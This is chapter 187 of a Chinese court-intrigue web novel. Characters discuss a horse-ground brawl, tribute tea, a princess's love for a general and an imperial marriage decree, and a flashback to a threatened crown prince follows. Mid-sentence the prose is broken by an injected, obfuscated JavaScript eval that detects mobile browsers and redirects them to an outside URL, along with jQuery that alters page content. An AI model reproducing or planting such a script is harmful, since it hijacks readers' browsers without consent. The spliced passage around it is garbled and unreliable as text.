187. 187
作品:《虞跃青云上》 走出马场,季无虞弹了弹身上的灰,以及混乱间被泼了一杯茶的衣裙。
“姐姐,眼下京兆府这边……该怎么处理?”
“该怎么处理怎么处理。”季无虞见他似乎还在等自己具体的态度,便暗示道,“不过刚刚,应该是杨恩澍先动的手吧?”
“澈澈明白了!”
祁澈说完正打算送季无虞回府,有人却已急匆匆地跑到季无虞面前来。
抬眼一看,是祁言。
他拉过季无虞的手,看看这又看看那,眼中只有担忧,“没事吧?”
“你来得还正好,事情刚好解决了。”
见他拉起自己濡湿的衣袂,似是要发问,季无虞忙道,
“放心,我真没什么事。”
“你这叫我怎么……”
“哎呀哎呀,”季无虞不想听他唠叨就转过头对祁澈道,“临弈来了,你先去审人忙去吧,我这边自个儿回了。”
一瞬间万般酸涩涌上心头,祁澈也只能咬牙咽下,道:
“好。”
扶了季无虞上马车,祁言又是忍不住开始念,
“以后这种鱼龙混杂的地方少来。”
“朝廷三品大员家的公子哥来的地方,也能叫鱼龙混杂?”
“杨允义本就对他这个孩子宝贝得不得了,流放这么多年好不容易求了恩典才回来,更是娇纵,这几个月在郅都闹的事可不小。”
“闹事?闹什么事?”
“打架斗殴,斗鸡走马的,总之没什么正事。”
“管了吗?”
祁言一顿,“那你得问刚刚走的那个。”
季无虞沉默了片刻,祁言握住了她的手,补充道:“没弄出人命,多半也就是银钱了事,真闹到京兆府的估计也是少数的。”
“所以到了京兆府,也是银钱开路?”
“这话我可没说,那你得去问他。”
季无虞深吸了一口气,最后从袖间拿了个杯子,丢给祁言,见他不解便道:“方才马场里拿的杯子,闻闻?”
祁言拿起杯子放在鼻尖,轻嗅了嗅,随之脸色大变,“这是绿翘?这……”
“我对茶一知半解的,但自己种的还是能品出来。慧娘来郅都时我便问过情况,沅水遭了灾,绿翘这几年产量极低,基本上只作为贡茶。”季无虞眸色微冽,“一个马场,能有贡茶?”
“这背后必然涉及到了宗室。”祁言沉了沉脸,却见季无虞有些疲惫之色,抚了抚她的鬓发,“我会去查,你且放心。”
季无虞点点头,刚打算合眼睡下时,马车停下了。
“怎么了?”
帘子外白缨的声音响起,“有人拦车。”
祁言问道:“谁啊?”
“不认识,带了个斗笠,看身段……像是个女子?”
季无虞闻言立马掀了帘子,一看到祁舒窈,当即便准备下车,祁言一慌赶忙起来扶着她。
祁舒窈还是方才那副打扮,祁言走近时,她刚巧把皂纱捞了起来。
祁言微微一怔,季无虞对他使了使眼色,祁言便没再靠前。
白缨驾着马往前挪了几寸,恰如其分地挡住交谈的两人。
“殿下,怎么还不回宫?”
“这离虞园不远。”祁舒窈看向季无虞,“我在等大人。”
“是……为了杨将军?”
见她提了杨旷,祁舒窈立马点头,眼中只有担心,“他、他不会有事吧?”
“不是他先动的手,顶多就是个互殴,我没第一时间瞧着,不知道具体发生了什么,等京兆府那边吧。”
“他没动手!”
“啊?”
季无虞有些震惊,翎卫先一步控制住了场面,她到场时只见着了被双双押着的杨旷和杨恩澍二人。
“他那脸上不是还有伤吗?”季无虞想了想,“纯挨打啊?”
“我可以去上堂作证,他绝没动手!”
季无虞无奈,“殿下,您知道您是什么身份吗?您就要上堂作证?”
“我……”
祁舒窈有些踌躇,但最终还是开口道,“这事毕竟是因我而已,如果不是我想要去二楼他也不会就这么得罪杨恩澍。”
“放心,他那位置是雍王府盘下的,若论得罪,谁给谁赔礼道歉还不一定呢。”季无虞见祁舒窈还是担忧,看着是完全不懂她意思的模样,忍不住点道,“你是公主,是皇家的人,大把的人可为你驱使,哪用得着事事自己上,还是……”
季无虞歪了歪脑袋,“这么喜欢他?”
祁舒窈闻言瞬间红了脸,说话也结结巴巴起来,“我……我没有……”
“喜欢也没什么的,这么拘谨干嘛?”季无虞抬了脚打算走,“放心,他不会有事的,走了啊。”
“等、等一下!我还有事想问大人!”
祁舒窈拉过季无虞的手,但等她一脸疑惑地问自己怎么了时,又开始犹犹豫豫。
“都说大人和摄政王凤协鸾和,我想问大人,您和摄政王和……我和杨将军……”
说到这,季无虞已然明了她什么意思,抬了手打断了她的话,“人与人之间的缘分,不可同一而论。”
“那……”
“但我想告诉你,殿下,能遇良人比结成姻缘更重要。”
“那大人觉得,杨将军……是良人吗?”
嘶。
“怎么说呢,”
季无虞有些为难,但还是开了口,“我听说他在徐州便是扶贫济弱,有时自己俸禄没多少也会捐些钱给养济院,人想来还是心善的,不过就他今天这事来说,十个杨恩澍都未必打得过他,不知道这人是孬还是……”
季无虞扫了祁舒窈一眼,“不想给你惹事?”
“当时他要出手,我拦住了……”祁舒窈说得有些心虚,“毕竟那还是他的族兄。”
“那还挺听你话的。”季无虞点头后又陷入另一轮纠结,“就是杨家吧,家多人多事儿也多,情况比较复杂啊。”
“我俩若是在一起,他便,他便……”祁舒窈说着说着声音越来越小,“不算是杨家的人。”
“那这不得了。”季无虞算着时间也差不多了,摆摆手,“找你哥请旨去吧!”
说罢便拉过祁言的手上了车,刚一坐下,祁言便问道:“她怎么了?”
“小孩春心萌动呢。”
“她年纪可不小了,这岁数还在宫里的,宗室里头可都没几个。”
季无虞瞪了他一眼,“您那把年纪没成亲不也在宫里吗?”
“我那是便宜我行政!”
“行吧。”季无虞想了想又觉得哪里不对劲,“不对啊,你都听到了还问我作甚?”
“我特意走远了,真一点没听着。”
“你刚教我的唇语,那个角度能看到嘴。”
祁言:……
“咳咳。”祁言轻咳两声,“所以她和杨旷?”
“情投意合呗,就看陛下怎么定了。”
“陛下已经定了。”
“啊?”
“扶子胥前几日便拟了赐婚圣旨给杨家,但……我拦了下来。”
季无虞皱眉,“为何?”
“我虽保全了杨允义的颜面,没有再一次将其赶出郅都,但杨家式微,已是强虏之末,若是在这时公主下嫁,不仅仅对你形势不利,新政只怕也会被影响。”
“新政不会因此而停滞。”季无虞道,“若是想多敲打几下杨家,杨恩澍这不送上门了吗?”
“你真觉得祁澈,会真的惩治杨恩澍?”
季无虞沉默了片刻,反问道:“他最近和杨家走得近?”
“他近来极为热络地结交各派朝臣,杨家自然也不例外。”
“各派朝臣?”季无虞觉得这话有意思,“有你门下的?”
“也不一定就是……我门下的。”
那就是明面上不是了。
“他初入朝听政,想要培植自己在朝中的根基,无可厚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903417|134895||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
非。”
“你对他还真是……”
季无虞抬眼,“怎么了?”
“无可指摘。”
…………
祁澈步入偏厅,刚一坐下,倒了杯茶,声音便从后头传来。
“殿下,审完了?”
祁澈吓了一大跳,左顾右盼,好在四周之人都被他提前遣散了,可见着了丘独苏,语调还是一变,“疯了吧?你来这找我作甚?你要心疼那茶钱便记我账上!”
“塘香楼不是个好谈事的地方。”
祁澈皱眉,“为何?”
“塘香楼的东家,曾是朝翊长公主的入幕之宾。”
又是祁言的人。
“那我以后来你府上。”
“殿下的轻功还没到能不被人察觉的地步,来我府上和找死有什么区别?”
“你!?”
丘独苏拿过祁澈的杯子,饮下前摆了摆手,
“我不教啊。”
祁澈咬着牙,“我也不需要。”
“赐婚圣旨这两日大抵便能下来了,京兆府这边你看着办。”
“我自然会给姐姐一个满意的答复。”
祁澈在说到季无虞时,语气一定会放得很柔,但丘独苏知道,他的心,是冷的。
“你很懂那位季大人。”
祁澈轻笑了两声,开始把玩起腰间的玉佩,那是他被封亲王那天,季无虞送给他的,她的笑一如往常,说这是选了许久的料子找了极好的玉匠雕琢而成。
“这一次姐姐给你,可就不要随意给宁宁了。”
辜宁听见姑姑说到自己,立马过去揪着季无虞的裙角说她也想要。
季无虞被她闹得不行,丢给祁言哄了好一阵。
其实祁澈很想问她,为什么不是她自己雕的。
但是祁澈没说,他只道:“谢谢姐姐。”
“姐姐这人呢,最是宅心仁厚了。她见不得这世上任何的欺凌与不公,也见不得有情人不能终成眷属。”祁澈把其中两个字咬得极重,“所以她一定会对那位杨将军出手相助,也一定不会拒了陛下的赐婚。”
丘独苏闻言一愣,多年前的一幕在他眼前闪过。
景祐二十五年的春天,季瑾淑离开了郅都,章和太子于宣政殿上大谈变法,以储家为首的群臣激愤皆出言反对,而顺帝并未表态,只在当夜召见太子入宫。
第二日,禁军便围了东宫,太子或将被废的消息便传满了整座郅都城。
东宫内人心惶惶,而那位漩涡之中的当事人正襟危坐,甚至还有闲心思和他的伴读对弈。
“苏苏,我又赢啦!”
祁序把最后一子丢在棋盘上,看着面前明显心不在焉的丘独苏,撇撇嘴,
“你一点意思也没有。”
最后还伸手抚上丘独苏的脸给他强行挤出一抹笑。
“殿下!”丘独苏吓得赶紧抓过祁序的手制止他这逾矩的行径,“您可知现在朝堂上下都在说,陛下意欲废储。”
“知道啊,可我又有什么办法呢?”
祁序温润的脸便如石像一般定在那一刻,他伸手将面前的棋子全都推散开,不论黑子白子,均无一例外从棋盘上跳出再落下。
他在黑白相间间直直地望着丘独苏,最后叹了一口气。
“他是皇帝,天上地下,他最大。”
“可殿下是太子,只要再进一步……”
祁序冷眼瞥了他一眼,丘独苏没说出的话被生生压了下去,可等他弯下身子去捡棋子时,丘独苏还是开口了。
“文德皇后于上月仙逝,陛下分外悲痛,如若这时殿下请旨为娘娘守灵,必然能得到陛下的宽恕。”
他是东宫僚属,太子伴读,站在这样的立场上,他的话没有任何问题。
但祁序还是不可置信地抬了头,“如若只会揪着对方的软肋攻击,那我与尚未教化过的禽兽有何区别?”
回忆在此刻止住,丘独苏望着祁澈,微不可察地叹了一声。